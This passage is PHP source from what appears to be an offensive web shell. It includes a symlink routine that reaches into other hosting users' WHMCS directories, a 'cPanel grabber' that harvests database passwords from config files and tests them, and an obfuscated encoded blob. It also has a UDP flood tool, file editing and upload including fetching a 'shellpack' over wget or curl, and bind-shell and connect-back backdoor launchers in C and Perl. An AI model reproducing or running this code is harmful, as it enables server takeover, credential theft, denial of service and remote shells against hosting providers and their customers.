@symlink('/'.$home.'/'.$user.'/public_html/suspended.page/index.html',$user.' <~ RESELLER');  
 
@symlink('/'.$home.'/'.$user.'/public_html/modules/registrars/',$user.' <~ WHMCS-1'); @symlink('/'.$home.'/'.$user.'/public_html/account/modules/registrars/',$user.' <~ WHMCS-2'); 
@symlink('/'.$home.'/'.$user.'/public_html/accounts/modules/registrars/',$user.' <~ WHMCS-3'); 
@symlink('/'.$home.'/'.$user.'/public_html/central/modules/registrars/',$user.' <~ WHMCS-4'); 
@symlink('/'.$home.'/'.$user.'/public_html/clienti/modules/registrars/',$user.' <~ WHMCS-5'); 
@symlink('/'.$home.'/'.$user.'/public_html/client/modules/registrars/',$user.' <~ WHMCS-6'); 
@symlink('/'.$home.'/'.$user.'/public_html/cliente/modules/registrars/',$user.' <~ WHMCS-7'); 
@symlink('/'.$home.'/'.$user.'/public_html/clientes/modules/registrars/',$user.' <~ WHMCS-8'); 
@symlink('/'.$home.'/'.$user.'/public_html/clients/modules/registrars/',$user.' <~ WHMCS-9'); 
@symlink('/'.$home.'/'.$user.'/public_html/clientarea/modules/registrars/',$user.' <~ WHMCS-9'); 
@symlink('/'.$home.'/'.$user.'/public_html/clientsarea/modules/registrars/',$user.' <~ WHMCS-10'); 
@symlink('/'.$home.'/'.$user.'/public_html/client-area/modules/registrars/',$user.' <~ WHMCS-11'); 
@symlink('/'.$home.'/'.$user.'/public_html/clients-area/modules/registrars/',$user.' <~ WHMCS-12'); 
@symlink('/'.$home.'/'.$user.'/public_html/clientzone/modules/registrars/',$user.' <~ WHMCS-13'); 
@symlink('/'.$home.'/'.$user.'/public_html/client-zone/modules/registrars/',$user.' <~ WHMCS-14'); 
@symlink('/'.$home.'/'.$user.'/public_html/core/modules/registrars/',$user.' <~ WHMCS-15'); 
@symlink('/'.$home.'/'.$user.'/public_html/company/modules/registrars/',$user.' <~ WHMCS-16'); 
@symlink('/'.$home.'/'.$user.'/public_html/customer/modules/registrars/',$user.' <~ WHMCS-17'); 
@symlink('/'.$home.'/'.$user.'/public_html/customers/modules/registrars/',$user.' <~ WHMCS-18'); 
@symlink('/'.$home.'/'.$user.'/public_html/bill/modules/registrars/',$user.' <~ WHMCS-19'); 
@symlink('/'.$home.'/'.$user.'/public_html/billing/modules/registrars/',$user.' <~ WHMCS-20'); 
@symlink('/'.$home.'/'.$user.'/public_html/finance/modules/registrars/',$user.' <~ WHMCS-21'); 
@symlink('/'.$home.'/'.$user.'/public_html/financeiro/modules/registrars/',$user.' <~ WHMCS-22'); 
@symlink('/'.$home.'/'.$user.'/public_html/host/modules/registrars/',$user.' <~ WHMCS-23'); 
@symlink('/'.$home.'/'.$user.'/public_html/hosts/modules/registrars/',$user.' <~ WHMCS-24'); 
@symlink('/'.$home.'/'.$user.'/public_html/hosting/modules/registrars/',$user.' <~ WHMCS-25'); 
@symlink('/'.$home.'/'.$user.'/public_html/hostings/modules/registrars/',$user.' <~ WHMCS'-26); 
@symlink('/'.$home.'/'.$user.'/public_html/klien/modules/registrars/',$user.' <~ WHMCS-27'); 
@symlink('/'.$home.'/'.$user.'/public_html/manage/modules/registrars/',$user.' <~ WHMCS-28'); 
@symlink('/'.$home.'/'.$user.'/public_html/manager/modules/registrars/',$user.' <~ WHMCS-29'); 
@symlink('/'.$home.'/'.$user.'/public_html/member/modules/registrars/',$user.' <~ WHMCS-30'); 
@symlink('/'.$home.'/'.$user.'/public_html/members/modules/registrars/',$user.' <~ WHMCS-31'); 
@symlink('/'.$home.'/'.$user.'/public_html/my/modules/registrars/',$user.' <~ WHMCS-32'); 
@symlink('/'.$home.'/'.$user.'/public_html/myaccount/modules/registrars/',$user.' <~ WHMCS-33'); 
@symlink('/'.$home.'/'.$user.'/public_html/my-account/client/modules/registrars/',$user.' <~ WHMCS-34'); 
@symlink('/'.$home.'/'.$user.'/public_html/myaccounts/modules/registrars/',$user.' <~ WHMCS-35'); 
@symlink('/'.$home.'/'.$user.'/public_html/my-accounts/modules/registrars/',$user.' <~ WHMCS-36'); 
@symlink('/'.$home.'/'.$user.'/public_html/order/modules/registrars/',$user.' <~ WHMCS-37'); 
@symlink('/'.$home.'/'.$user.'/public_html/orders/modules/registrars/',$user.' <~ WHMCS-38'); 
@symlink('/'.$home.'/'.$user.'/public_html/painel/modules/registrars/',$user.' <~ WHMCS-39'); 
@symlink('/'.$home.'/'.$user.'/public_html/panel/modules/registrars/',$user.' <~ WHMCS-40'); 
@symlink('/'.$home.'/'.$user.'/public_html/panels/modules/registrars/',$user.' <~ WHMCS-41'); 
@symlink('/'.$home.'/'.$user.'/public_html/portal/modules/registrars/',$user.' <~ WHMCS-42'); 
@symlink('/'.$home.'/'.$user.'/public_html/portals/modules/registrars/',$user.' <~ WHMCS-43'); 
@symlink('/'.$home.'/'.$user.'/public_html/secure/modules/registrars/',$user.' <~ WHMCS-44'); 
@symlink('/'.$home.'/'.$user.'/public_html/support/modules/registrars/',$user.' <~ WHMCS-45'); 
@symlink('/'.$home.'/'.$user.'/public_html/supporte/modules/registrars/',$user.' <~ WHMCS-46'); 
@symlink('/'.$home.'/'.$user.'/public_html/supports/modules/registrars/',$user.' <~ WHMCS-47'); 
@symlink('/'.$home.'/'.$user.'/public_html/web/modules/registrars/',$user.' <~ WHMCS-48'); 
@symlink('/'.$home.'/'.$user.'/public_html/webhost/modules/registrars/',$user.' <~ WHMCS-49'); 
@symlink('/'.$home.'/'.$user.'/public_html/webhosting/modules/registrars/',$user.' <~ WHMCS-50'); 
@symlink('/'.$home.'/'.$user.'/public_html/whm/modules/registrars/',$user.' <~ WHMCS-51'); 
@symlink('/'.$home.'/'.$user.'/public_html/whmcs/modules/registrars/',$user.' <~ WHMCS-52'); 
@symlink('/'.$home.'/'.$user.'/public_html/whmcs2/modules/registrars/',$user.' <~ WHMCS-53'); 
@symlink('/'.$home.'/'.$user.'/public_html/Whm/modules/registrars/',$user.' <~ WHMCS-54'); 
@symlink('/'.$home.'/'.$user.'/public_html/Whmcs/modules/registrars/',$user.' <~ WHMCS-55'); 
@symlink('/'.$home.'/'.$user.'/public_html/WHM/modules/registrars/',$user.' <~ WHMCS-56'); 
@symlink('/'.$home.'/'.$user.'/public_html/WHMCS/modules/registrars/',$user.' <~ WHMCS-57'); 
} 
echo '<hr color="#00bfff"><center>
<font face="Audiowide" size="5" style="color:#00bfff;background-color:#000000">
<img src="http://www.komunitas.for-indonesia.com/images/smiley/piss.gif"><br/> 
Scanning Complete....<br/>
Now Checking Folder Result....<br/><br/><br/>
<a href="/WHMCS">O=[ GO TO HELL ]=O</a>
</font>
<br/><br/><br/></center> </body></html> ';
}
?>

<?php }
# x=cp3
elseif(isset($_GET['x']) && ($_GET['x'] == 'cp3')){	
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=cp3" method="post">

<?php 
set_time_limit(0);
error_reporting(0);
if(isset($_POST['url'])){
$url = $_POST['url'];
}else{
$url = 'http://';
}
echo '<center><br/><br/><nobr><span class="b7">O=:[ CPANEL</span> <span class="b8">GRABBER ]:=O</nobr><br/><br/> 
<form method="POST">
<input name="url" style="color:#FF0000;background-color:#000000" type="text" value="'.$url.'" size="40"/><br/>
<p><input type="submit" style="color:#FF0000;background-color:#000000" value="--:[ CROTZ ]:--"/>
</form><br/><br/>';
if(isset($_POST['url'])){
if(!file_get_contents($url)){
echo '--:[ ERROR BRAY ]:--';
}else{
$a = 0;
foreach(get_data($url) as $info){
if(login($info[0],$info[1])){
echo "<b style=' color: #808080 ; text-shadow:0px 0px 1px #808080 ;'>-:[ USERNAME & PASSWORD ]:-</b>  <b style=' color: #0000FF ; text-shadow:0px 0px 1px #0000FF ;'>[$info[0]]</b> <b style=' color: #CC0000; text-shadow:0px 0px 1px #CC0000;'>[$info[1]]</b><br />";
$a++;
}
}
echo "<b style=' color: #808080 ; text-shadow:0px 0px 1px #808080 ;'><hr> *SUKSES ^_^ || $a CPANEL  FOUNDED*<br />";
}
}
echo '<br/><div align="center"><font color="blue" face="Verdana" size="3">--=|[+] Sh4d0w4rT [+]|=--</font></div>
</body>
</html>';
function ex($a,$b,$text){
$explode = explode($a,$text);
$explode = explode($b,$explode[1]);
return $explode[0];
}
function login($user,$pass){
$c = @mysql_connect('localhost',$user,$pass);
if($c){
mysql_close($c);
return true;
}else{
return false;
}
}
function get_data($url){
$ar = array('1.txt','2.txt','3.txt','4.txt','5.txt','6.txt','7.txt','8.txt','9.txt','10.txt','11.txt','12.txt','13.txt','14txt','15.txt','16.txt','17.txt','18.txt','19.txt','20.txt','21.txt','22.txt','23.txt','24.txt','25.txt','26.txt','27.txt','28.txt','29.txt','30.txt','31.txt','32.txt','33.txt','34.txt','35.txt','36.txt','37.txt','38.txt','39.txt','40.txt','41.txt','42.txt','43.txt','44.txt','45.txt','46.txt','47.txt','48.txt','49.txt','50.txt');
$src = file_get_contents($url);
$files = explode('<a href="',$src);
$data = array();
foreach($files as $id=>$file){
if($id == 0){
continue;
}
$file = explode('">',$file);
$file = trim($file[0]);
if(!eregi('.txt',$file)){
continue;
}
$src = file_get_contents("$url/$file");
if(!$src){
continue;
}
$user = str_replace($ar,'',$file);
$user = str_replace($ar,'',$user.'.txt');
$user = str_replace($ar,'',$user.'.txt');
$user = trim(str_replace('.txt','',$user));
if(eregi("WordPress",$src)){
$pass = ex("define('DB_PASSWORD', '","');",$src);
$data[] = array($user,$pass);
}else{
$tokens = token_get_all($src);
foreach($tokens as $token){
if(!$token[1]){
continue;
}
$tokenname = token_name($token[0]);
if($tokenname != 'T_VARIABLE'){
continue;
}
$var = $token[1];
if(eregi('pass',$var)){
$f = str_replace(' ','',ex($var,';',$src));
$a = trim(ex("='","'",$f));
$b = trim(ex('"','"',$f));
if($a != ''){
$pass = $a;
}elseif($b != ''){
$pass = $b;
}
if($pass == ''){
continue;
}
$data[] = array($user,$pass);
}
}
}
}
return $data;
}
;
return;
?>~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alVnRPIq


<?php }
# x=dos
elseif(isset($_GET['x']) && ($_GET['x'] == 'dos')){
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=dos" method="post">

<?php
if(isset($_GET['host'])&&isset($_GET['time'])){
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = $_GET['time'];
$time = time();
print "Started: ".time('d-m-y h:i:s')."<br>";
$max_time = $time+$exec_time;
$host = $_GET['host'];
for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){ break; }
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<br><b>UDP Flood</b><br>
Completed with $packets (" .round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second 
";

echo '<br><br><form action="'.$surl.'" method=GET><input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host><br>
Length (seconds): <br><input type=text name=time><br>
<input type=submit value=Go></form>';
} else { 
echo '<center><form action=? method=GET><input type="hidden" name="act" value="phptools">
<table class="tabnet" style="width:300px;"> 
<tr><th colspan="2">UDP Flood</th></tr> 
<tr><td>&nbsp;&nbsp;Host</td>
<td><input style="width:220px;" class="inputz" type=text name=host value=></td></tr> 
<tr><td>&nbsp;&nbsp;Length (seconds)</td>
<td><input style="width:220px;" class="inputz" type=text name=time value=></td></tr> 
<tr><td colspan=2 align=center><input style="width:100%;" class="inputzbut" type="submit" value="Attack !" /></td></tr> 
</table></center>';
}
}


elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){ 
@ob_start(); 
eval("phpinfo();"); 
$buff = @ob_get_contents(); 
@ob_end_clean(); 
$awal = strpos($buff,"<body>")+6; 
$akhir = strpos($buff,"</body>"); 
echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>"; 
} 

elseif(isset($_GET['view']) && ($_GET['view'] != "")){ 
if(is_file($_GET['view'])){ 

if(!isset($file)) 
$file = magicboom($_GET['view']);

if(!$win && $posix){ 
$name=@posix_getpwuid(@fileowner($file));
$group=@posix_getgrgid(@filegroup($file));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
} else { 
$owner = $user;
} 
$filn = basename($file);
echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\"> 
<tr><td>Filename</td>
<td><nobr><span id=\"".clearspace($filn)."_link\">".$file."</span> 
<form action=\"?dm=".$pwd."&amp;view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" /> 
</form></nobr></td></tr> 

<tr><td>Size</td>
<td>".ukuran($file)."</td></tr> 
<tr><td>Permission</td>
<td>".get_perms($file)."</td></tr> 
<tr><td>Owner</td>
<td>".$owner."</td></tr> 
<tr><td>Create time</td>
<td>".date("d-M-Y H:i",@filectime($file))."</td></tr> 
<tr><td>Last modified</td>
<td>".date("d-M-Y H:i",@filemtime($file))."</td></tr> 
<tr><td>Last accessed</td>
<td>".date("d-M-Y H:i",@fileatime($file))."</td></tr> 
<tr><td>Actions</td>
<td><a href=\"?dm=$pwd&amp;edit=$file\">Edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">Rename</a> | <a href=\"?dm=$pwd&amp;delete=$file\">Delete</a> | <a href=\"?dm=$pwd&amp;dl=$file\">Download</a>&nbsp;(<a href=\"?dm=$pwd&amp;dlgzip=$file\">gzip</a>)</td></tr> 

<tr><td>View</td><td><a href=\"?dm=".$pwd."&amp;view=".$file."&amp;type=code\">Highlight Code</a>
| 
<a href=\"?dm=".$pwd."&amp;view=".$file."\">Text</a>
| 
<a href=\"?dm=".$pwd."&amp;view=".$file."&amp;type=image\">image</a></td></tr> </table> ";

if(isset($_GET['type']) && ($_GET['type']=='image')){ 

echo "<div style=\"text-align:center;margin:8px;\">
<img src=\"?dm=".$pwd."&amp;img=".$filn."\"></div>";
} 

elseif(isset($_GET['type']) && ($_GET['type']=='code')){ 
echo "<div class=\"viewfile\">";
echo nl2br(htmlentities((@file_get_contents($file))));
echo "</div>";
 
} else { 
echo "<div class=\"viewfile\">";
$file = wordwrap(@file_get_contents($file),"240","
");
@highlight_string($file);
echo "</div>";
 
} 
}
elseif(is_dir($_GET['view'])) { 
echo showdir($pwd,$prompt);
} 
}
elseif(isset($_GET['edit']) && ($_GET['edit'] != "")) { 
if(isset($_POST['save'])) { 
$file = $_POST['saveas'];
$content = magicboom($_POST['content']);
if($filez = @fopen($file,"w")) { 
$time = date("d-M-Y H:i",time());
if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time; else $msg = "failed to save";
@fclose($filez);
} else $msg = "permission denied";
} if
(!isset($file)) $file = $_GET['edit'];
if($filez = @fopen($file,"r")) { 
$content = ""; while(!feof($filez)) { 
$content .= htmlentities(str_replace("''","'",fgets($filez)));
} 
@fclose($filez);
} 
?> 

<form action="?dm=<?php echo $pwd; ?>&amp;edit=<?php echo $file; ?>" method="post">
<table class="cmdbox"> 
<tr><td colspan="2"> 
<textarea class="output" name="content"><?php echo $content; ?></textarea></td>
<tr>
<td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" />
<input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> &nbsp;<?php echo $msg; ?></td></tr></table> </form> 

<?php } 
# x=upload
elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){ 
if(isset($_POST['uploadcomp'])){ 
if(is_uploaded_file($_FILES['file']['tmp_name'])){ 
$path = magicboom($_POST['path']); 
$fname = $_FILES['file']['name']; 
$tmp_name = $_FILES['file']['tmp_name']; 
$pindah = $path.$fname; 
$stat = @move_uploaded_file($tmp_name,$pindah); 
if($stat) { 
$msg = "<br><nobr><span class='b11'>File Uploaded To $pindah "; 
} 
else $msg = "<br>Failed To Upload $fname"; 
} 
else $msg = "<br>Failed To Upload $fname </span></nobr>"; 
} 

elseif(isset($_POST['uploadurl'])){ 
$pilihan = trim($_POST['pilihan']); 
$wurl = trim($_POST['wurl']); 
$path = magicboom($_POST['path']); 
$namafile = download($pilihan,$wurl); 
$pindah = $path.$namafile; 
if(is_file($pindah)) {
$msg = "<br><nobr><span class='b11'>File Uploaded To $pindah"; 
} 
else 
$msg = "<br>Failed Upload $namafile </span></nobr>"; 
} 
?> 

<form action="?dm=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post">
<br><br><table class="tabnet" style="width:320px;padding:0 1px;"> 
<tr><th colspan="2"><b> <span class='b12'> _UPLOAD FILE_</span></b></th></tr> 
<tr><td colspan="2"><nobr><p style="text-align:center;"><input style="color:red" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go !" style="width:100px;"></p></nobr></td></tr>
<tr><td colspan="2">
<input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr> 
</table>
</form> 
<table class="tabnet" style="width:320px;padding:0 1px;"> 
<tr><th colspan="2"><b><span class='b12'> _UPLOAD FROM URL_</span></b></th></tr> 
<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?dm=<?php echo $pwd; ?>&amp;x=upload"> 
<table>
<tr>
<td>URL : </td>
<td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://dm-zone.us/shellpack.zip"></td></tr> 
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr> 
<tr><td>
<select size="1" class="inputz" name="pilihan"> 
<option value="wwget">wget</option> 
<option value="wlynx">lynx</option> 
<option value="wfread">fread</option> 
<option value="wfetch">fetch</option> 
<option value="wlinks">links</option> 
<option value="wget">GET</option> 
<option value="wcurl">curl</option> 
</select></td>
<td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go !" style="width:246px;"></td></tr>
</table></form></td> </tr></table> 
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div> 

<?php } 
elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){ 
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) { 	

$port = trim($_POST['port']); 
$passwrd = trim($_POST['bind_pass']); 
tulis("bdc.c",$port_bind_bd_c); 
exe("gcc -o bdc bdc.c"); 
exe("chmod 777 bdc"); 
@unlink("bdc.c"); 
exe("./bdc ".$port." ".$passwrd." &"); 
$scan = exe("ps aux"); 
if(eregi("./bdc $por",$scan)){ 
$msg = "<p>Process found running, backdoor setup successfully.</p>"; 
} 
else { 
$msg = "<p>Process not found running, backdoor not setup successfully.</p>"; 
} 
}

elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) { 
$port = trim($_POST['port']); 
$passwrd = trim($_POST['bind_pass']); 
tulis("bdp",$port_bind_bd_pl); 
exe("chmod 777 bdp"); 
$p2=which("perl"); 
exe($p2." bdp ".$port." &"); 
$scan = exe("ps aux"); 
if(eregi("$p2 bdp $port",$scan)){ 
$msg = "<p>Process found running, backdoor setup successfully.</p>"; } 
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; 
} 
} 

elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) { 
$ip = trim($_POST['ip']); 
$port = trim($_POST['backport']); 
tulis("bcc.c",$back_connect_c); 
exe("gcc -o bcc bcc.c"); 
exe("chmod 777 bcc"); 
@unlink("bcc.c"); 
exe("./bcc ".$ip." ".$port." &"); 
$msg = "Now script try connect to ".$ip." port ".$port." ..."; 
} 

elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) { 
$ip = trim($_POST['ip']); 
$port = trim($_POST['backport']); 
tulis_2("bcp",$back_connect); 
exe("chmod +x bcp"); 
$p2=which("perl"); 
exe($p2." bcp ".$ip." ".$port." &"); 
sleep(1);
$msg = "Now script try connect to ".$ip." port ".$port." ..."; 
unlink("bcp");
} 

elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) { 
$pilihan = trim($_POST['pilihan']); 
$wurl = trim($_POST['wurl']); 
$namafile = download($pilihan,$wurl); 
if(is_file($namafile)) { $msg = exe($wcmd); } 
else $msg = "error: file not found $namafile"; 
} 
?> 

<table class="tabnet"><tr>
<th>Port Binding</th>
<th>Connect Back</th>
<th>Load and Exploit</th></tr> 
		
<tr><td> 
<form method="post" actions="?dm=<?php echo $pwd; ?>&amp;x=netsploit"> 

<table><tr><td>Port</td>
<td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr> 

<tr><td>Password</td>
